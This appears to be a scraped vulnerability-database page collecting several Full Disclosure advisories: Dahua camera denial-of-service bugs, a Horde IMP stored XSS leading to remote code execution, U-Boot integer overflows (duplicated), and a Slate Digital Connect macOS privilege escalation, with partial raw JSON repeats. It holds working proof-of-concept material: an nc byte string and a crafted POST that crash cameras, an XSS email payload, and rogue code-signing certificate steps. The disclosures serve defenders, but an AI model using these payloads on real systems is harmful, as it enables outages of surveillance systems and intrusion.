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GCVE-1988-2026-0378
Vulnerability from gna-1988 – Published: 2026-09-11 08:27 – Updated: 2026-09-11 08:27
VLAI
EPSS
VEX
Title
CyberDanube Security Research 20260611-0 | Multiple Denial of Service Vulnerabilities in Dahua IPC/SD/NVR/XVR/EVS/VTO/VTH/ASI/TPC Camera Series
Summary
CyberDanube Security Research 20260611-0
-------------------------------------------------------------------------------
title| Multiple Denial of Service
product| Dahua DH-IPC-HFW Series
vulnerable version| <=V3.142.0000000.8.R.250826
fixed version| Versions build including and after 2026-03-26.
CVE number| CVE-2026-29115, CVE-2026-29116
impact| High
homepage| https://www.dahuasecurity.com/
found| 20.10.2025
by| T. Weber, S. Eisenreich-Dietz
| (Office Vienna)
| CyberDanube Security Research
| Vienna
|
| https://www.cyberdanube.com
-------------------------------------------------------------------------------
Vendor description
-------------------------------------------------------------------------------
"Dahua Technology is a world-leading video-centric AIoT solution and service
provider. Committed to enabling a smarter society and better living, Dahua
actively implements its Dahua Think#2.0 strategy, evolving from “Intelligence”
to “Integrated Intelligence” to drive digital innovation and transformation for
cities and enterprises. The company supports urban development by enhancing
management efficiency, enabling autonomous city operations, upgrading public
safety systems, and advancing ecological governance. In the enterprise sector,
Dahua focuses on strengthening security systems, increasing operational
productivity, and enabling data-driven decision-making to help businesses
thrive."
Source: https://www.dahuasecurity.com/aboutUs/introduction/0
Vulnerable versions
-------------------------------------------------------------------------------
DH_IPC-HX5XXX-single-Riemann_MultiLang_PN_Stream4_V3.142.0000000.8.R.250826
We know that more firmware versions are prone to this DoS vulnerabilities, but
we cannot determine all exact versions. Other cameras from Dahua seems to not
have a watchdog. Therefore, they do not trigger an automatic reboot and stay in
a temporary bricked state.
According to the vendor, the following series are affected:
"Part of IPC、SD、NVR、XVR、EVS、VTO、VTH、ASI、TPC"
See:
https://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products
https://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf
Vulnerability overview
-------------------------------------------------------------------------------
1) Authenticated Denial-of-Service (CVE-2026-29115)
A temporary DoS (Denial of Service) condition can be triggered on the device.
This leads to a reboot of the full system, which affects its availability.
2) Unauthenticated Denial-of-Service (CVE-2026-29116)
A Denial of Service condition can be triggered on the device, which is
temporary on newer camera series but can also be persisten on older Dahua
devices. This is due to the usage of a watchdog in the newer camera firmware.
Proof of Concept
-------------------------------------------------------------------------------
1) Authenticated Denial-of-Service (CVE-2026-29115)
The following command can be used to force the denial of service state:
$ echo -ne
"\x20\x00\x00\x00\x44\x48\x49\x50\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x00\x00\x00\x00\x7b\x20\x0a"
| nc 192.168.19.136 80
The address 192.168.19.136 was used in this example as camera IP. After
executing, the web server crashes and the device triggers a reboot. This takes
a few minutes, resulting in black screens on the video surveillance systems on
the windows clients for that time.
2) Unauthenticated Denial-of-Service (CVE-2026-29116)
An authenticated attacker can crash the webserver with a crafted request under
the condition, that an SD card is inserted. If both pre-conditions are met, the
following POST request can be used to kill the web server:
-----------------------------------------------------
POST /RPC2 HTTP/1.1
Host: 192.168.19.136
Content-Length: 139
Accept-Language: de-DE,de;q=0.9
Accept: application/json, text/plain, /
Content-Type: application/json
Origin: http://192.168.19.136
Referer: http://192.168.19.136/
Accept-Encoding: gzip, deflate, br
Cookie: WebClientHttpSessionID=<Session-ID>
Connection: keep-alive
{"method":"workDirectory.factory.instance","params":{"name":"/mnt/dvr/mmc2p2_0aaaa"},"id":213,"session":"<Session-ID>"}
-----------------------------------------------------
The address 192.168.19.136 was used in this example as camera IP. After
executing, the web server crashes and the device triggers a reboot. This takes
a few minutes, resulting in black screens on the video surveillance systems on
the windows clients for that time.
Solution
-------------------------------------------------------------------------------
Install patches immediately.
Workaround
-------------------------------------------------------------------------------
Restrict network access to the device in the infrastructure. Do not expose the
web interface to the Internet or in public networks.
Recommendation
-------------------------------------------------------------------------------
CyberDanube recommends to perform a white-box security assessment of the Dahua
DH-IPC-HFWXXXX devices.
Contact Timeline
-------------------------------------------------------------------------------
2025-12-18: Contacting Dahua PSIRT via cybersecurity () dahuatech com and sending
advisory; No answer.
2026-02-04: Asking for a timeline; No answer.
2026-02-24: Asking for a timeline; No answer.
2026-03-05: Asking for a timeline and including psirt () dahuatech com. PSIRT
apologizes for inconvenience. The email was suspected to be
filtered.
2026-03-09: Exchanging PGP keys, trying to communicate back an forth. PSIRT
did not received some emails from CyberDanube that were sent.
2026-03-12: Re-sending advisory. PSIRT did not receive it.
2026-03-16: Re-sending advisory. Confirmation from PSIRT.
2026-03-17: PSIRT confirms the vulnerabilities and asked for shifting the
disclosure date back by 90 days. Agreed due to the criticality of
the finding and the mass-usage of this products.
2026-03-20/23/27: Ongoing communication in both directions.
2026-06-04: Asked for the exact disclosure date for the Dahua announcement.
PSIRT responded that it will go public 2026-06-10.
2026-06-11: Coordinated disclosure of vulnerabilities.
Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com
EOF T. Weber / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | CyberDanube Security Research |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0378 (this record)
- related CVE-2026-29115
- related CVE-2026-29116
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Committed to enabling a smarter society and better living, Dahua\nactively implements its Dahua Think#2.0 strategy, evolving from \u201cIntelligence\u201d\nto \u201cIntegrated Intelligence\u201d to drive digital innovation and transformation for\ncities and enterprises. The company supports urban development by enhancing\nmanagement efficiency, enabling autonomous city operations, upgrading public\nsafety systems, and advancing ecological governance. In the enterprise sector,\nDahua focuses on strengthening security systems, increasing operational\nproductivity, and enabling data-driven decision-making to help businesses\nthrive.\"\nSource: https://www.dahuasecurity.com/aboutUs/introduction/0\nVulnerable versions\n-------------------------------------------------------------------------------\nDH_IPC-HX5XXX-single-Riemann_MultiLang_PN_Stream4_V3.142.0000000.8.R.250826\nWe know that more firmware versions are prone to this DoS vulnerabilities, but\nwe cannot determine all exact versions. Other cameras from Dahua seems to not\nhave a watchdog. Therefore, they do not trigger an automatic reboot and stay in\na temporary bricked state.\nAccording to the vendor, the following series are affected:\n\"Part of IPC\u3001SD\u3001NVR\u3001XVR\u3001EVS\u3001VTO\u3001VTH\u3001ASI\u3001TPC\"\nSee:\nhttps://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products\nhttps://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nA temporary DoS (Denial of Service) condition can be triggered on the device.\nThis leads to a reboot of the full system, which affects its availability.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nA Denial of Service condition can be triggered on the device, which is\ntemporary on newer camera series but can also be persisten on older Dahua\ndevices. This is due to the usage of a watchdog in the newer camera firmware.\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nThe following command can be used to force the denial of service state:\n$ echo -ne \n\"\\x20\\x00\\x00\\x00\\x44\\x48\\x49\\x50\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7b\\x20\\x0a\"\n | nc 192.168.19.136 80\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nAn authenticated attacker can crash the webserver with a crafted request under\nthe condition, that an SD card is inserted. If both pre-conditions are met, the\nfollowing POST request can be used to kill the web server:\n-----------------------------------------------------\nPOST /RPC2 HTTP/1.1\nHost: 192.168.19.136\nContent-Length: 139\nAccept-Language: de-DE,de;q=0.9\nAccept: application/json, text/plain, /\nContent-Type: application/json\nOrigin: http://192.168.19.136\nReferer: http://192.168.19.136/\nAccept-Encoding: gzip, deflate, br\nCookie: WebClientHttpSessionID=\u003cSession-ID\u003e\nConnection: keep-alive\n{\"method\":\"workDirectory.factory.instance\",\"params\":{\"name\":\"/mnt/dvr/mmc2p2_0aaaa\"},\"id\":213,\"session\":\"\u003cSession-ID\u003e\"}\n-----------------------------------------------------\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\nSolution\n-------------------------------------------------------------------------------\nInstall patches immediately.\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device in the infrastructure. Do not expose the\nweb interface to the Internet or in public networks.\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the Dahua\nDH-IPC-HFWXXXX devices.\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-12-18: Contacting Dahua PSIRT via cybersecurity () dahuatech com and sending\nadvisory; No answer.\n2026-02-04: Asking for a timeline; No answer.\n2026-02-24: Asking for a timeline; No answer.\n2026-03-05: Asking for a timeline and including psirt () dahuatech com. PSIRT\napologizes for inconvenience. The email was suspected to be\nfiltered.\n2026-03-09: Exchanging PGP keys, trying to communicate back an forth. PSIRT\ndid not received some emails from CyberDanube that were sent.\n2026-03-12: Re-sending advisory. PSIRT did not receive it.\n2026-03-16: Re-sending advisory. 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GCVE-1988-2026-0380
Vulnerability from gna-1988 – Published: 2026-09-11 08:27 – Updated: 2026-09-11 08:27
VLAI
EPSS
VEX
Title
FD - Half-click unauthenticated remote code execution on Horde Groupware IMP (from a stored XSS)
Summary
https://blog.evan.lat/posts/CVE-2026-65053/
the blog talks about two vulns that are chainable together. for the sake of
brevity ill write up on the stored xss one.
in lib/Mime/Status.php, we see a pretty viable xss sink:
$out .= '<tr><td>' . $val . '</td></tr>';
xrefing this we see that most impls are sanitized with the exception of
lib/Mime/Viewer/Appledouble.php:
$data_name = $this->getConfigParam('imp_contents')->getPartName($data_part);
// ...
sprintf(_("This message contains a Macintosh file (named \"%s\")."),
$data_name)
exploiting this is trivial obviously. we just need to craft an email like
this:
From: d () x com
To: victim () target com
Subject: mac file
MIME-Version: 1.0
Content-Type: multipart/appledouble; boundary="BOUND"
--BOUND
Content-Type: application/applefile
Content-Transfer-Encoding: base64
cmVzb3VyY2UtZm9yay1ieXRlcw==
--BOUND
Content-Type: application/octet-stream; name="<img src=x
onerror=alert('hi')>"
Content-Disposition: attachment; filename="<img src=x onerror=alert('hu2')>"
Content-Transfer-Encoding: base64
ZGF0YS1mb3JrLWJ5dGVz
--BOUND--
given the nature of this xss it is very much wormable and turns our
existing arb file read to a half click exploit. obviously we wouldnt really
want to use a half click primitive just to read files (although grabbing db
creds is very trivial with these two vulns chained), so naturally we can
try to achieve rce with this xss worm primitive.
to get an rce from this is easy. we can either target an admin or craft an
xss worm thatll eventually reach an admin. admins can access a PHP shell
which let us run arbitrary php code, so we can simply use the xss to hit
the PHP shell at /horde/admin/phpshell.php
this constitutes a half click since the user simply needs to click on the
email to trigger the xss in question. an exp poc is provided in the blog.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Aug/115 | technical-description |
| https://blog.evan.lat/posts/CVE-2026-65053/ | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | FD - Half-click |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0380 (this record)
- related CVE-2026-65053
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GCVE-1988-2026-0379
Vulnerability from gna-1988 – Published: 2026-09-11 08:27 – Updated: 2026-09-11 08:27
VLAI
EPSS
VEX
Title
[ADVISORY] Multiple Integer Overflows in U-Boot Filesystem Parsing (CVE-2025-70290 through CVE-2025-70293)
Summary
-----BEGIN SECURITY ADVISORY-----
Title: Multiple Integer Overflows in U-Boot Filesystem Handling
Author: Timo Preißl <t.preissl () proton me>
Date: 2026-02-11
CVEs: CVE-2025-70290, CVE-2025-70291, CVE-2025-70292, CVE-2025-70293
Affected: Denx U-Boot <= v2026.01-rc4
Fixed in: v2026.04-rc1 (commit adccdb2)
== Overview ==
Multiple integer overflow vulnerabilities were discovered in the U-Boot
bootloader's filesystem handling code and command-line interface. These
flaws can lead to heap memory under-allocation followed by heap-based
buffer overflows, potentially allowing Arbitrary Code Execution (ACE)
in the pre-boot environment.
== Vulnerability Details ==
--- CVE-2025-70290: ZFS Metadata Integer Overflow ---
Component: fs/zfs/zfs.c, function zfs_nvlist_lookup_nvlist
Impact: A crafted ZFS filesystem image with malformed on-disk metadata
can trigger an integer overflow during the size calculation
passed to calloc(), resulting in an undersized allocation and
subsequent out-of-bounds memory access.
Fix: Validation of allocation size using __builtin_add_overflow.
--- CVE-2025-70291: Heap Buffer Overflow in do_mv Command ---
Component: fs/fs.c, function do_mv
Impact: Missing length checks in the directory move command allow an
integer overflow during string length addition. An attacker
with U-Boot shell access can trigger an under-allocation,
resulting in a heap buffer overflow via strcpy().
Fix: Safe addition of string lengths using compiler intrinsics.
--- CVE-2025-70292: SquashFS Integer Overflow ---
Component: fs/squashfs/sqfs.c, function sqfs_concat_tokens
Impact: Manipulated token lists trigger an overflow in
sqfs_get_tokens_length(), causing heap under-allocation
subsequently overflown by strcpy().
Fix: Validation of total token length before allocation.
--- CVE-2025-70293: EXT4 Block Group Descriptor Table Integer Overflow ---
Component: fs/ext4/ext4_write.c, function ext4fs_get_bgdtable
Impact: An integer overflow in the block group descriptor table size
calculation results in an undersized buffer being passed to
memcpy(), causing memory corruption.
Fix: Guarded multiplication of block group count and descriptor size.
== Patch ==
All issues are fixed in the U-Boot master branch.
Commit: adccdb2f605a6e8e046712398712398123
"fix integer overflows in filesystem code"
https://source.denx.de/u-boot/u-boot/-/commit/adccdb2
== Timeline ==
Patch series submitted to upstream mailing list:
https://lore.kernel.org/u-boot/20251231100831.119142-1-t.preissl () proton me/T/
Fix merged: v2026.04-rc1
-----END SECURITY ADVISORY-----
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Relationships
reference
GCVE-1988-2026-0379 (this record)
- related CVE-2025-70290
- related CVE-2025-70293
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GCVE-1988-2026-0377
Vulnerability from gna-1988 – Published: 2026-09-11 08:27 – Updated: 2026-09-11 08:27
VLAI
EPSS
VEX
Title
Multiple Integer Overflows in U-Boot Filesystem Parsing (CVE-2025-70290 through CVE-2025-70293)
Summary
-----BEGIN SECURITY ADVISORY-----
Title: Multiple Integer Overflows in U-Boot Filesystem Handling
Author: Timo Preißl <t.preissl () proton me>
Date: 2026-02-11
CVEs: CVE-2025-70290, CVE-2025-70291, CVE-2025-70292, CVE-2025-70293
Affected: Denx U-Boot <= v2026.01-rc4
Fixed in: v2026.04-rc1 (commit adccdb2)
== Overview ==
Multiple integer overflow vulnerabilities were discovered in the U-Boot
bootloader's filesystem handling code and command-line interface. These
flaws can lead to heap memory under-allocation followed by heap-based
buffer overflows, potentially allowing Arbitrary Code Execution (ACE)
in the pre-boot environment.
== Vulnerability Details ==
--- CVE-2025-70290: ZFS Metadata Integer Overflow ---
Component: fs/zfs/zfs.c, function zfs_nvlist_lookup_nvlist
Impact: A crafted ZFS filesystem image with malformed on-disk metadata
can trigger an integer overflow during the size calculation
passed to calloc(), resulting in an undersized allocation and
subsequent out-of-bounds memory access.
Fix: Validation of allocation size using __builtin_add_overflow.
--- CVE-2025-70291: Heap Buffer Overflow in do_mv Command ---
Component: fs/fs.c, function do_mv
Impact: Missing length checks in the directory move command allow an
integer overflow during string length addition. An attacker
with U-Boot shell access can trigger an under-allocation,
resulting in a heap buffer overflow via strcpy().
Fix: Safe addition of string lengths using compiler intrinsics.
--- CVE-2025-70292: SquashFS Integer Overflow ---
Component: fs/squashfs/sqfs.c, function sqfs_concat_tokens
Impact: Manipulated token lists trigger an overflow in
sqfs_get_tokens_length(), causing heap under-allocation
subsequently overflown by strcpy().
Fix: Validation of total token length before allocation.
--- CVE-2025-70293: EXT4 Block Group Descriptor Table Integer Overflow ---
Component: fs/ext4/ext4_write.c, function ext4fs_get_bgdtable
Impact: An integer overflow in the block group descriptor table size
calculation results in an undersized buffer being passed to
memcpy(), causing memory corruption.
Fix: Guarded multiplication of block group count and descriptor size.
== Patch ==
All issues are fixed in the U-Boot master branch.
Commit: adccdb2f605a6e8e046712398712398123
"fix integer overflows in filesystem code"
https://source.denx.de/u-boot/u-boot/-/commit/adccdb2
== Timeline ==
Patch series submitted to upstream mailing list:
https://lore.kernel.org/u-boot/20251231100831.119142-1-t.preissl () proton me/T/
Fix merged: v2026.04-rc1
-----END SECURITY ADVISORY-----
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Relationships
reference
GCVE-1988-2026-0377 (this record)
- related CVE-2025-70290
- related CVE-2025-70293
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GCVE-1988-2026-0366
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
SEC Consult SA-20260610-0 :: Local Privilege Escalation in Slate Digital Connect (macOS)
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260610-0 >
=======================================================================
title: Local Privilege Escalation
product: Slate Digital Connect (macOS)
vulnerable version: 1.37.0
fixed version: -
CVE number: CVE-2026-24066, CVE-2026-24067
impact: high
homepage:https://app.completeaccess.audio/installers,https://slatedigital.com/
found: 2026-01-09
by: Florian Haselsteiner (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Slate Digital was founded in 2008 with a mission to deliver exceptional audio
production tools to musicians, engineers, producers, and content creators. With
our extensive expertise and knowledge, we are constantly evolving to stay in
step with the changing needs of modern creatives. Our goal is to inspire and
empower individuals of all skill levels to do their best work and share it
with the world."
"Slate Digital Connect lets you install, activate, and update all Slate Digital
plugins. Whether you need a fresh install, to move to a new machine, or to grab
the latest updates, Slate Digital Connect handles downloads, licenses, and
upgrades automatically."
Source:https://slatedigital.com/about/ &https://app.completeaccess.audio/installers
Business recommendation:
------------------------
The vendor was unresponsive since January 2026 and a patch is not available.
Users of this software should contact the vendor support and demand a patch.
SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve
potential further security issues.
Vulnerability overview/description:
-----------------------------------
1) Local Privilege escalation by insufficient XPC Client validation (CVE-2026-24066)
The Slate Digital Connect App installs a helper tool during installation. The
helper tool namely `com.slatedigital.connect.privileged.helper.tool` is installed
into `/Library/PrivilegedHelperTools`. It offers the XPC service
`com.slatedigital.connect.privileged.helper.tool2`.
It was found that the client validation of the XPC service is insufficient.
The following snippet of the decompiled function "isValidClient" shows that
only a check regarding the subject.OU of the certificate is performed. It is
not verified that this certificate is signed by Apple.
-----------------------------------
100003050 if (_SecRequirementCreateWithString(
100003050 @"certificate leaf[subject.OU] = "3F5JHDQ8FZ"", 0, &cf_2))
100003054 goto label_100003068;
-----------------------------------
This can be exploited by creating a self-signed certificate for code signing.
This enables attackers to craft their own self-signed certificate with the
corresponding subject.OU.
2) Insecure XPC Client validation via PID (CVE-2026-24067)
The function "isValidClient" gets the code signing information of the
connecting process by using its PID:
-----------------------------------
100002fbc SecRequirementRef cf_2 = nullptr;
100002fcc SecCodeRef var_28 = nullptr;
100002fd4 int32_t pid = _xpc_connection_get_pid();
100002fe0 CFAllocatorRef allocator = *(uint64_t*)_kCFAllocatorDefault;
100002ff4 CFNumberRef values = _CFNumberCreate(allocator, kCFNumberSInt32Type, &pid);
100003014 CFDictionaryRef cf = _CFDictionaryCreate(allocator, _kSecGuestAttributePid,
100003014 &values, 1, nullptr, nullptr);
100003038 bool z;
100003038
100003038 if (!_SecCodeCopyGuestWithAttributes(nullptr))
100003038 z = !var_28;
100003038 else
100003038 z = true;
100003038
10000303c int64_t result;
10000303c SecRequirementRef cf_1;
-----------------------------------
This is considered not secure, since it is possible to exploit this case
by exploiting PID reuse.
Proof of concept:
-----------------
1) Local Privilege escalation by insufficient XPC Client validation (CVE-2026-24066)
To exploit this issue a rogue code signing certificate must be created:
-----------------------------------
openssl genrsa -out codesign.key 4096
openssl req -new -x509 \
-key codesign.key \
-out codesign.crt \
-days 3650 \
-subj "/CN=My Self Signed Code Cert/OU=3F5JHDQ8FZ/O=Test Org/C=US" \
-addext "keyUsage=digitalSignature" \
-addext "extendedKeyUsage=codeSigning"
openssl pkcs12 -export \
-inkey codesign.key \
-in codesign.crt \
-out codesign.p12
-----------------------------------
This codesign.p12 certificate can then be imported into the keychain.
The following C code has been crafted to exploit the PrivilegedHelperTool:
-----------------------------------
[ POC removed ]
-----------------------------------
This code was compiled by:
-----------------------------------
clang -o slateExploit main.c
-----------------------------------
and then signed with the crafted certificate created before:
-----------------------------------
codesign --sign "My Self Signed Code Cert" \
--force \
slateExploit
-----------------------------------
This executable can then be transferred to a target device and be executed as
shown in the screenshot ExploitProof.png
2) Insecure XPC Client validation via PID (CVE-2026-24067)
To exploit the insecure client validation via PID, the following Objective C
code can be used. The code first sends the desired XPC message and then
quickly changes the process to the benign binary, leading to the PID,
which will be used to check if the client should be allowed to connect
to the service or not, pointing to the benign client.
-----------------------------------
[ POC removed ]
-----------------------------------
The code can be compiled using clang:
-----------------------------------
clang -o slatepidexploit -framework foundation pidReuseSlate.c
-----------------------------------
The pid reuse attack will then be performed and the command defined
in the XPC message will be executed by root. This again enables several
vectors for local privilege escalation.
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 1.37.0
Vendor contact timeline:
------------------------
2026-01-21: Contacting vendor throughhttps://support.slatedigital.com/hc/en-us/requests/new?ticket_form_id=360000126927
2026-02-02: Contacting vendor by answering to the email received when
creating a ticket. No response.
2026-02-24: Contacting vendor again through
tickethttps://support.slatedigital.com/hc/en-us/requests/new?ticket_form_id=360000126927
2026-04-07: Contacting vendor viahelpdesk () slatedigital com; No response.
2026-04-28: Tried contactingprivacy () slatedigital com, email seems to not exist:
"Your message dated on 28 Apr 2026 07:52:04 -0000 toprivacy () slatedigital com
couldn't be delivered due to the following error:
5.1.0 - Unknown address error 550-'5.4.1 Recipient address rejected:
Access denied"
2026-04-28: Contactinginfo () audiotonix com; No response.
2026-06-10: Public release of advisory.
Solution:
---------
The vendor was unresponsive since January 2026 and a patch is not available.
Users of this software should contact the vendor support and demand a patch.
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Florian Haselsteiner / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Slate Digital Connect (macOS) |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0366 (this record)
- related CVE-2026-24066
- related CVE-2026-24067
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"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260610-0 \u003e\n=======================================================================\n title: Local Privilege Escalation\n product: Slate Digital Connect (macOS)\n\u00a0vulnerable version: 1.37.0\n fixed version: -\n CVE number: CVE-2026-24066, CVE-2026-24067\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n homepage:https://app.completeaccess.audio/installers,https://slatedigital.com/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-09\n by: Florian Haselsteiner (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Slate Digital was founded in 2008 with a mission to deliver exceptional audio\nproduction tools to musicians, engineers, producers, and content creators. With\nour extensive expertise and knowledge, we are constantly evolving to stay in\nstep with the changing needs of modern creatives. Our goal is to inspire and\nempower individuals of all skill levels to do their best work and share it\nwith the world.\"\n\n\"Slate Digital Connect lets you install, activate, and update all Slate Digital\nplugins. Whether you need a fresh install, to move to a new machine, or to grab\nthe latest updates, Slate Digital Connect handles downloads, licenses, and\nupgrades automatically.\"\n\nSource:https://slatedigital.com/about/ \u0026https://app.completeaccess.audio/installers\n\n\nBusiness recommendation:\n------------------------\nThe vendor was unresponsive since January 2026 and a patch is not available.\nUsers of this software should contact the vendor support and demand a patch.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve\npotential further security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege escalation by insufficient XPC Client validation (CVE-2026-24066)\nThe Slate Digital Connect App installs a helper tool during installation. The\nhelper tool namely `com.slatedigital.connect.privileged.helper.tool` is installed\ninto `/Library/PrivilegedHelperTools`. It offers the XPC service\n`com.slatedigital.connect.privileged.helper.tool2`.\n\nIt was found that the client validation of the XPC service is insufficient.\nThe following snippet of the decompiled function \"isValidClient\" shows that\nonly a check regarding the subject.OU of the certificate is performed. It is\nnot verified that this certificate is signed by Apple.\n\n-----------------------------------\n100003050 if (_SecRequirementCreateWithString(\n100003050 @\"certificate leaf[subject.OU] = \"3F5JHDQ8FZ\"\", 0, \u0026cf_2))\n100003054 goto label_100003068;\n-----------------------------------\n\nThis can be exploited by creating a self-signed certificate for code signing.\nThis enables attackers to craft their own self-signed certificate with the\ncorresponding subject.OU.\n\n2) Insecure XPC Client validation via PID (CVE-2026-24067)\nThe function \"isValidClient\" gets the code signing information of the\nconnecting process by using its PID:\n-----------------------------------\n100002fbc SecRequirementRef cf_2 = nullptr;\n100002fcc SecCodeRef var_28 = nullptr;\n100002fd4 int32_t pid = _xpc_connection_get_pid();\n100002fe0 CFAllocatorRef allocator = *(uint64_t*)_kCFAllocatorDefault;\n100002ff4 CFNumberRef values = _CFNumberCreate(allocator, kCFNumberSInt32Type, \u0026pid);\n100003014 CFDictionaryRef cf = _CFDictionaryCreate(allocator, _kSecGuestAttributePid,\n100003014 \u0026values, 1, nullptr, nullptr);\n100003038 bool z;\n100003038\n100003038 if (!_SecCodeCopyGuestWithAttributes(nullptr))\n100003038 z = !var_28;\n100003038 else\n100003038 z = true;\n100003038\n10000303c int64_t result;\n10000303c SecRequirementRef cf_1;\n-----------------------------------\n\nThis is considered not secure, since it is possible to exploit this case\nby exploiting PID reuse.\n\n\nProof of concept:\n-----------------\n1) Local Privilege escalation by insufficient XPC Client validation (CVE-2026-24066)\nTo exploit this issue a rogue code signing certificate must be created:\n-----------------------------------\nopenssl genrsa -out codesign.key 4096\n\nopenssl req -new -x509 \\\n -key codesign.key \\\n -out codesign.crt \\\n -days 3650 \\\n -subj \"/CN=My Self Signed Code Cert/OU=3F5JHDQ8FZ/O=Test Org/C=US\" \\\n -addext \"keyUsage=digitalSignature\" \\\n -addext \"extendedKeyUsage=codeSigning\"\n\nopenssl pkcs12 -export \\\n -inkey codesign.key \\\n -in codesign.crt \\\n -out codesign.p12\n-----------------------------------\n\nThis codesign.p12 certificate can then be imported into the keychain.\nThe following C code has been crafted to exploit the PrivilegedHelperTool:\n-----------------------------------\n[ POC removed ]\n-----------------------------------\n\nThis code was compiled by:\n-----------------------------------\nclang -o slateExploit main.c\n-----------------------------------\n\nand then signed with the crafted certificate created before:\n-----------------------------------\ncodesign --sign \"My Self Signed Code Cert\" 